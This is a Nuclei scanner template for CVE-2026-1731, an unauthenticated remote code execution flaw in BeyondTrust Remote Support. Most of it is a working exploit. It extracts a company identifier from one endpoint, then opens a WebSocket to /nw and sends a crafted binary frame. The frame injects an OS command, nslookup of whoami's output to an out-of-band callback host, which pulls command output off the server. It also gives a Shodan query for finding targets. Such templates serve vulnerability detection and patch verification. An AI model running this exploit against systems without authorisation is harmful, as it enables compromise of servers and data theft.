id: CVE-2026-1731

info:
  name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
  author: attackerkb,hacktron,pdteam
  severity: critical
  description: |
    BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
  impact: |
    Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
  remediation: |
    Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
  reference:
    - https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
    - https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
    - https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
  classification:
    cve-id: CVE-2026-1731
    epss-score: 0.86091
    epss-percentile: 0.99703
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: beyondtrust
    product: remote_support
    shodan-query: http.html:"BeyondTrust"
  tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev

flow: http(1) && javascript(1)

http:
  - raw:
      - |
        GET /get_mech_list?version=3 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: word
        part: body
        words:
          - "company"
        internal: true

    extractors:
      - type: regex
        name: company
        part: body
        group: 1
        regex:
          - '"default_company"\s*:\s*"([^"]+)"'
        internal: true

javascript:
  - code: |
      const net = require("nuclei/net");
      const nb = require("nuclei/bytes");

      let address = Host + ":443";
      let conn;
      try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }

      // Step 1: WebSocket upgrade handshake
      let handshake = "GET /nw HTTP/1.1\r\n";
      handshake += "Host: " + Host + "\r\n";
      handshake += "Upgrade: websocket\r\n";
      handshake += "Connection: Upgrade\r\n";
      handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
      handshake += "Sec-WebSocket-Version: 13\r\n";
      handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
      handshake += "X-Ns-Company: " + company + "\r\n";
      handshake += "\r\n";

      conn.Send(handshake);
      let resp = conn.RecvString(4096);

      let result = "";
      if (resp.indexOf("101") !== -1) {
        // Step 2: Build binary WebSocket frame with command injection payload
        let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";

        let buf = new nb.Buffer();
        buf.WriteString(payload);
        let payloadHex = buf.Hex();
        let payloadLen = buf.Len();

        // WebSocket frame structure:
        // Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
        // Byte 2: MASK=1 + payload length
        // If length < 126: single byte (7-bit length)
        // If length 126-65535: byte=126, then 2-byte big-endian length
        // Masking key: 00000000 (no-op XOR mask)
        let frameHeader = "82";
        if (payloadLen < 126) {
          frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
        } else {
          frameHeader += "fe"; // 0x80 | 126
          frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
          frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
        }
        frameHeader += "00000000";
        let frameHex = frameHeader + payloadHex;

        conn.SendHex(frameHex);
        result = conn.RecvString(4096);
      }
      conn.Close();
      result;

    args:
      Host: "{{Host}}"
      company: "{{company}}"
      oob: "{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'
# digest: 490a00463044021f5bdb12c7d2ca30ca779255a9925ae0e2fe85fd8b31dd2ba6c06085a0b09baa022100c35efb01aeaf8efe95bd21fd60596f07dfe8e39ef7e13e044e716056cbffc747:922c64590222798bb761d5b6d8e72950